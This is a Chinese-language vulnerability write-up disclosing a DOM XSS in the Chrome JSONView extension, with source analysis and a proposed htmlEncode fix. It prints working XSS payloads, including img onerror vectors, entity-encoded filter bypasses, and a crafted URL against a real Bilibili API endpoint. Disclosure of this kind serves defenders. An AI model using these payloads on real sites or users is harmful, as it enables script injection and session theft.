明枪易躲暗箭难防 – JSONView 0day_html/css

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明枪易躲暗箭难防 – JSONView 0day_html/css_WEB-ITnose

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Jun 24, 2016 am 11:19 AM

0x01 JSONView 介绍

Github: https://github.com/gildas-lormeau/JSONView-for-Chrome
ChromeStore: https://chrome.google.com/w.....bnpoihckbnefhakgolnmc?hl=en-US

JSONView 插件是目前最热门的一款开发者工具插件，它是查看json数据的神器。通常来讲，json 数据一般没有经过格式化或经过了 unicode 编码，没有缩进，没有换行等，给开发者阅读造成了一定困难。而jsonview 插件可以自动对 json 数据转码，缩进，格式化，直接显示出格式化后的数据，使得开发人员可以更好的阅读信息，本文中出现问题的版本为 Chrome 浏览器下的 JSONView 插件，Firefox 下版本不受影响。

0x02 正确的处理方式

我们知道开发人员在使用 JSONP callback 的方式进行跨域请求时，通常会为了方便前端调用 callback 名是可自定义的，例如 function?callback=jQuery14114 ，这时页面将会输出 callback 的参数值到页面中，所以出现了很多 callback 导致的跨站漏洞，解决方案大多由过滤 URL 特殊字符、严格定义 Response 头的 Content-Type:application/json 。

下面这个例子则为 Bilibili API :

http : //api.bilibili.com/x/favourite/folder?callback=jQu%3Ch1%3E163&jsonp=jsonp&_=1461828995783

我们可以看到由于 Reponse Headers 严格定义了 Content-Type 类型为 json 数据格式，所以尽管我成功注入了未转义标签代码，但仍然不会得到执行（ChromeView-source 模式下如果正常解析后是会有高亮标识的），JSONView 的故事也是从这个时候开始的。

0x03 Dom XSS Vulnerability

我们之前谈到过 JSONView 插件能够美化原本乱糟糟的 JSON 数据，就像这样：

在使用 JSONView 的过程中我发现它把数据提取进行了渲染，也就导致原本不存在的漏洞在这里得以重现！这里有一个前提，网站使用限制 Content-Type 类型对其的过滤而未过滤特殊字符。所以我们可以看到：

在之后的源码分析中得知是因为通过 DOM 插入数据，直接写入 script 是不加载资源的，所以我们可以使用很多方法来触发恶意代码：

1. <img src=@ onerror=alert(1)>
2. <body onload=alert(1)>
3. ...

通过测试后发现，只要参数中包含空格、圆括号，插件即使是在开启的情况下，也不会再对 JSON 结果进行数据解析，虽然在黑盒测试过程中我通过斜线等技巧实现了加载恶意代码，但还是要来看看这个插件究竟做了哪些处理。

0x04 源码分析

通过断点调试，寻找到 innerHTML 文件：/master/WebContent/content.js

function displayUI(theme, html) {
    var statusElement, toolboxElement, expandElement, reduceElement, viewSourceElement, optionsElement, content = "";
    content += &#39;<link rel="stylesheet" type="text/css" href="&#39; + chrome.runtime.getURL("jsonview-core.css") + &#39;">&#39;;
    content += "<style>" + theme + "</style>";
    content += html;
    document.body.innerHTML = content;
    ....
}
    
function init(data) {
    port.onMessage.addListener(function(msg) {
        if (msg.oninit) {
            options = msg.options;
            processData(data);
        }
        if (msg.onjsonToHTML)
            if (msg.html) {
                displayUI(msg.theme, msg.html);
            } else if (msg.json)
                port.postMessage({
                    getError : true,
                    json : json,
                    fnName : fnName
                });
        if (msg.ongetError) {
            displayError(msg.error, msg.loc, msg.offset);
        }
    });
    port.postMessage({
        init : true
    });
}

我们看到在 displayUI 函数中 innerHTML 的操作：document.body.innerHTML = content; ，下面来看一下 jsonToHTML 函数在入口文件 /JSONView-for-Chrome/blob/master/WebContent/background.js 中加载：

/master/WebContent/workerFormatter.js 提取核心部分代码：

function htmlEncode(t) {
    return t != null ? t.toString().replace(/&/g, "&amp;").replace(/"/g, "&quot;").replace(/</g, "&lt;").replace(/>/g, "&gt;") : &#39;&#39;;
}
    
function decorateWithSpan(value, className) {
    return &#39;<span class="&#39; + className + &#39;">&#39; + htmlEncode(value) + &#39;</span>&#39;;
}
    
function jsonToHTML(json, fnName) {
    var output = &#39;&#39;;
    if (fnName)
        output += &#39;<div class="callback-function">&#39; + fnName + &#39;(</div>&#39;;
    output += &#39;<div id="json">&#39;;
    output += valueToHTML(json);
    output += &#39;</div>&#39;;
    if (fnName)
        output += &#39;<div class="callback-function">)</div>&#39;;
    return output;
}
    
addEventListener("message", function(event) {
    var object;
    try {
        object = JSON.parse(event.data.json);
    } catch (e) {
        postMessage({
            error : true
        });
        return;
    }
    postMessage({
        onjsonToHTML : true,
        html : jsonToHTML(object, event.data.fnName)
    });
}, false);

之后对 html : jsonToHTML(object, event.data.fnName) 其中的 event 下断点进行追踪，找到 fnName 的赋值代码 /master/WebContent/content.js：

function extractData(rawText) {
    var tokens, text = rawText.trim();
    
    function test(text) {
        return ((text.charAt(0) == "[" && text.charAt(text.length - 1) == "]") || (text.charAt(0) == "{" && text.charAt(text.length - 1) == "}"));
    }
    
    if (test(text))
        return {
            text : rawText,
            offset : 0
        };
    tokens = text.match(/^([^\s\(]*)\s*\(([\s\S]*)\)\s*;?$/);
    if (tokens && tokens[1] && tokens[2]) {
        if (test(tokens[2].trim()))
            return {
                fnName : tokens[1],
                text : tokens[2],
                offset : rawText.indexOf(tokens[2])
            };
    }
}

在 extractData 函数中，我们找到了 fnName 的赋值，tokens 会根据正则获取需要解析的 fnName, text 等值，也就是这个正则导致我们是无法注入圆括号的，因为他被匹配到了 text 中：

0x05 执行测试代码

通过阅读正则，我们发现可以使用 URL编码（HTML 实体编码）+斜线等方式来注入代码并执行：

    1. <img/src=&#39;@&#39;/onerror=alert(window.location)>
    2. <img/src=&#39;@&#39;/onerror=alert(window.location)>
    3. <img/src=&#39;@&#39;/onerror=%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E>
    4. http://api.bilibili.com/x/favourite/folder?callback=jQu11111%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E765386356466327_1461828974439&jsonp=jsonp&_=1461828995783

通过几次变形，我们编写出最终的测试代码以弹出 window.location 地址，就这样原本过滤严谨的接口因为 JSONView 的问题而全面崩塌：

0x06 修复方案

使用 /master/WebContent/workerFormatter.js 文件中的 htmlEncode 函数进行过滤：

    function jsonToHTML(json, fnName) {
        var output = &#39;&#39;;
        if (fnName)
            output += &#39;<div class="callback-function">&#39; + htmlEncode(fnName) + &#39;(</div>&#39;;
        output += &#39;<div id="json">&#39;;
        output += valueToHTML(json);
        output += &#39;</div>&#39;;
        if (fnName)
            output += &#39;<div class="callback-function">)</div>&#39;;
        return output;
    }

0x07 VulnTimeline

Find the vulnerability. - 2016/04/28 15:00
Because the JSONView plug-in (Chrome platform) has not been updated for a long time, Unable to contact the author to fix the vulnerability. - 2016/04/28 20:15
Write the Paper, via @evi1m0. - 2016/04/28 22:32

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